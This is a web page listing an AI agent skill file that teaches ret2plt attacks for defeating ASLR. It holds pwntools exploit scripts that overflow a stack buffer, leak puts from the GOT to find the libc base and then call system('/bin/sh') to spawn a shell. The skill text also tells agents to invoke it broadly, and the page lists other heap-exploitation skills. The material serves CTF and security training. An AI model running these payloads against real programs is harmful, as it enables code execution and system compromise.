skills/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt/SKILL.md
How to perform ret2plt (return-to-PLT) attacks to bypass ASLR by leaking libc addresses. Use this skill whenever the user mentions ASLR bypass, PLT/GOT exploitation, libc leaks, ret2plt, return-to-PLT, or needs to leak function addresses from libc to calculate base addresses. Also use when dealing with binary exploitation challenges involving stack overflows, dynamic binaries, or when the user needs to chain PLT calls to leak GOT entries. Make sure to use this skill for any CTF challenge or binary exploitation task involving ASLR, PIE, or libc address resolution.
npx skillsauth add abelrguezr/hacktricks-skills ret2plt-exploitInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
This skill helps you perform ret2plt (return-to-PLT) attacks to bypass ASLR by leaking addresses from the Procedure Linkage Table (PLT) and Global Offset Table (GOT).
Ret2plt is a technique to leak an address from a function in the PLT to bypass ASLR. When you leak the address of a function like puts from libc, you can:
system, exit, etc.The key insight: when you call puts with the address of puts from the GOT, the GOT entry will contain the exact runtime address of puts in memory. This lets you calculate the libc base.
from pwn import *
elf = context.binary = ELF('./vuln')
libc = elf.libc
payload = flat(
b'A' * padding, # Fill buffer to overflow
elf.plt['puts'], # Call puts from PLT
elf.symbols['main'], # Return to main (don't exit)
elf.got['puts'] # Argument: address of puts in GOT
)
from pwn import *
elf = context.binary = ELF('./vuln')
libc = elf.libc
# Find POP RDI gadget
POP_RDI = next(elf.search(b'\x58\x5f\x89\xf0'))
payload = flat(
b'A' * padding, # Fill buffer to overflow
POP_RDI, # Gadget to set RDI
elf.got['puts'], # RDI = address of puts in GOT
elf.plt['puts'], # Call puts from PLT
elf.symbols['main'] # Return to main (don't exit)
)
from pwn import *
# Setup
elf = context.binary = ELF('./vuln')
libc = elf.libc
p = process()
# Phase 1: Leak libc address
p.recvuntil(b'prompt>') # Adjust to your binary's prompt
payload = flat(
b'A' * 32, # Adjust padding to overflow
elf.plt['puts'], # Call puts
elf.symbols['main'], # Return to main
elf.got['puts'] # Leak puts address
)
p.sendline(payload)
# Receive leaked address
puts_leak = u64(p.recv(8).ljust(8, b'\x00')) # Use u32 for 32-bit
p.recvlines(2) # Consume remaining output
# Calculate libc base
libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
# Phase 2: Get shell
payload = flat(
b'A' * 32, # Same padding
libc.sym['system'], # Call system
libc.sym['exit'], # Return address (cleanup)
next(libc.search(b'/bin/sh\x00')) # Argument: /bin/sh
)
p.sendline(payload)
p.interactive()
-fno-plt BuildsModern distributions often compile with -fno-plt, which replaces call foo@plt with call [foo@got]. If there's no PLT stub:
# Still leak with puts, but return directly to GOT entry
payload = flat(
padding,
elf.got['foo'] # Jump directly to resolved GOT entry
)
-Wl,-z,now)With full RELRO, the GOT is read-only, but ret2plt still works for leaks because you only read the GOT slot. If the symbol was never called, your first ret2plt will perform lazy binding and then print the resolved slot.
If PIE is enabled, you must first leak a code pointer to compute the PIE base:
.plt entryOn ARM64 with Branch Target Identification:
bti c)BRK/PAC failures)If the target function is not yet resolved and you need a leak in one shot, chain the PLT call twice:
payload = flat(
padding,
elf.plt['foo'], # First call: resolve the function
elf.plt['foo'], # Second call: use it
elf.got['foo'] # Argument: GOT entry to leak
)
Use scripts/generate_ret2plt_payload.py to automatically generate payloads:
python scripts/generate_ret2plt_payload.py \
--binary ./vuln \
--padding 32 \
--arch 64 \
--output payload.py
Use scripts/analyze_binary_protections.py to check if ret2plt is viable:
python scripts/analyze_binary_protections.py ./vuln
This checks:
cyclic or pattern_create to find exact offsetu32 for 32-bit, u64 for 64-bit# Use gdb to verify your payload
p = gdb.debug('./vuln', '''
break *main+100
continue
''')
# Or use pwntools' gdb context
context.log_level = 'debug'
testing
How to perform a House of Lore (small bin attack) heap exploitation. Use this skill whenever the user mentions heap exploitation, small bin attacks, fake chunks, glibc heap vulnerabilities, or needs to insert fake chunks into small bins for arbitrary read/write. Trigger for CTF challenges involving heap corruption, glibc 2.31+ exploitation, or when the user needs to bypass malloc sanity checks using fake chunk linking.
testing
How to perform House of Force heap exploitation attacks. Use this skill whenever the user mentions heap exploitation, House of Force, top chunk manipulation, arbitrary memory allocation, malloc manipulation, or wants to allocate chunks at specific addresses. Also trigger for CTF challenges involving heap overflows, top chunk size overwrites, or when the user needs to calculate evil_size for heap attacks. Make sure to use this skill for any binary exploitation task involving glibc heap manipulation, even if they don't explicitly say "House of Force".
tools
How to perform House of Einherjar heap exploitation to allocate memory at arbitrary addresses. Use this skill whenever the user mentions heap exploitation, glibc heap attacks, arbitrary memory allocation, off-by-one overflow exploitation, tcache poisoning, fast bin attacks, or any CTF challenge involving heap manipulation. This is essential for binary exploitation tasks where you need to control malloc() return addresses.
testing
How to identify, analyze, and exploit heap overflow vulnerabilities in binary exploitation challenges and real-world scenarios. Use this skill whenever the user mentions heap overflows, memory corruption, heap grooming, tcache poisoning, fast-bin attacks, or any heap-related vulnerability in CTF challenges, binary analysis, or security research. This skill covers heap overflow fundamentals, exploitation techniques, heap grooming strategies, and real-world CVE analysis.